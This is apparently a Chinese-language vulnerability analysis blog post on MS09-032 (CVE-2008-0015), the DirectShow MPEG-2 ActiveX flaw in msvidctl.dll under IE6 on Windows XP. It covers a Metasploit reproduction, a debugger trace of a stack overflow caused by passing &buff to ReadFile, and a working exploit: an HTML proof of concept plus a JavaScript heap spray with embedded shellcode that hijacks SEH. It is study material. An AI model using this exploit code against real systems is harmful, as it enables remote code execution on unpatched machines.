漏洞介绍
2009年7月5日,微软爆出MPEG-2视频漏洞,就是Microsoft DirectShow MPEG-2视频ActiveX控件远程代码执行漏洞
该漏洞存在于DirectShow组件的msvidctl.dll中,由于程序员误将传入参数buff写成&buff,且&buff附近恰巧存放SEH指针,导致可以通过覆盖SEH结合HeapSpray技术进行利用
漏洞编号:MS09-032(CVE-2008-0015),补丁编号:KB973346
实验环境
- 虚拟机:Windows XP SP3
- 虚拟机:Kali Linux
- 漏洞程序:IE6
- 漏洞文件:msvidctl.dll
- IDA + x86dbg
漏洞复现
在kali的msfconsole中搜索MS09-032(像这种经典漏洞msf里一般都有现成的exp):
刚好有一个,设置payload:set payload windows/exec
,set CMD calc.exe
,run
:
使用Windows XP SP3自带的IE6打开,shellcode执行成功,弹出计算器:
漏洞复现成功,该浏览器存在该漏洞,接下来进行分析
前置知识
gif文件格式
借用《0day安全》第二版中的图来介绍:
gif文件前6个字节是文件GifHeader,包括3字节的签名和3字节的版本信息
然后紧接着的是LogicalScreenDescriptor,其后面跟着的剩下的内容就是数据部分了
漏洞分析
成因分析
poc:
<html>
<body>
<div id="DivID"></div>
<script>
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>
</body>
</html>
poc-logo.git:
用x86dbg打开IE6,然后打开该POC页面,可以看到程序抛出异常了:
这里因为ebx的值不是可读地址导致访问异常,ebx的值来自于[ebp-14],该地址后面紧挨着的SEH链表也被覆盖了
打开IDA,把发生异常的模块msvidctl.dll拖入,定位到发生异常的地址,然后找到异常的指令所处的函数地址:0x59F0D3BA,然后在x86dbg中在该地址下断点寻找在哪里发现了溢出覆盖SEH
跟进去之后发现该函数是递归调用的,在其中某一步调用了自己:
也正是进入了这一次调用,栈的地址与发生异常的时候的栈的地址相近
接着往下走,再一次准备递归调用自己,此时栈与发生异常的时候更接近了:
往下走发现是这个函数导致栈里溢出了:
重启再来跟进一遍,发现导致溢出的点在更深一层的函数处:
重来跟进,该函数位于0x7E3E28DB,是通过一个函数表来访问的,这可能是一个虚函数,这是虚表
跟进去先是一个ReadFile函数的调用:
该函数的参数:
BOOL ReadFile(
[in] HANDLE hFile, // 文件句柄
[out] LPVOID lpBuffer, // 缓冲区
[in] DWORD nNumberOfBytesToRead, // 读取的字节数
[out, optional] LPDWORD lpNumberOfBytesRead, // 读到的字节数
[in, out, optional] LPOVERLAPPED lpOverlapped // 可选
);
这里要往0x137c88这个地址读入gif文件:
这是我们扭曲的gif文件的数据部分,最后8个字节是明显的ffffffff和0c0c0c0c,显然这两个DWORD的地址在0x137CB0和0x137CB4,这正是SEH链表节点所在的地址,溢出是发生在ReadFile函数的调用上了,这里缓冲区的开始地址是0x137C88
查看SEH链表:
确实如此,为什么会这样呢?
一般来说,读取文件都会读取到申请的堆内存里,可这里却读到栈里,一般栈里保存的是局部变量,这里可能就是从指针里取地址结果错误写成了取指针的地址
再次回到调用前的时候,查看参数:
该参数来自[ebp+8],这个位置的值位于申请出来的堆内存空间:
按理说应该是写入到这个申请出来的堆空间的,实际上却写入到了栈里,这里显然是多写了个&
取地址了,因此造成了漏洞
漏洞利用
因为是WindowsXP + IE6,所以没有DEP保护,也没有SEHOP检查SEH的链表完整性,更没有ASLR基址随机化,SafeSEH只能保障SEH处理函数不能位于栈上,那就好办了
因为覆盖了栈中的数据,如果要从栈中获取数据进行操作,则必会发生异常,而这里最近的SEH结点可控,因为是通过网页html触发的漏洞,所以可以在漏洞触发之前通过js进行堆喷,然后修改SEH异常处理函数到我们堆喷的地址上进行异常处理,从而劫持程序控制流
要做的事情:
- 通过堆喷射在固定位置上填充上shellcode
- 修改SEH结点处理函数为堆喷射中的地址
首先还是把之前从CVE-2010-2883样本分析中提取出来的堆喷代码拿出来,添加到漏洞poc前面:
var shellcode="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode; // 拼接shellcode
var_D += var_C; // 拼接滑块代码
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";
然后修改gif文件内容最后4字节为0x0c0c0c0c(不用修改,这里默认就是hhhh)
打开网页:
成功执行shellcode
该漏洞分析相关文件和代码:vul-analysis-study/MS09-032 at main · kn0sky/vul-analysis-study (github.com)
参考资料
- [1] CVE-2008-0015分析 - Harmonica11 - 博客园 (cnblogs.com)
- [2] 《0day安全》第二版,第28章
- [3] GIF文件格式详解_沉迷WebRTC的博客-CSDN博客_gif文件格式
- [4] [讨论]菜鸟对CVE-2008-0015的一点分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com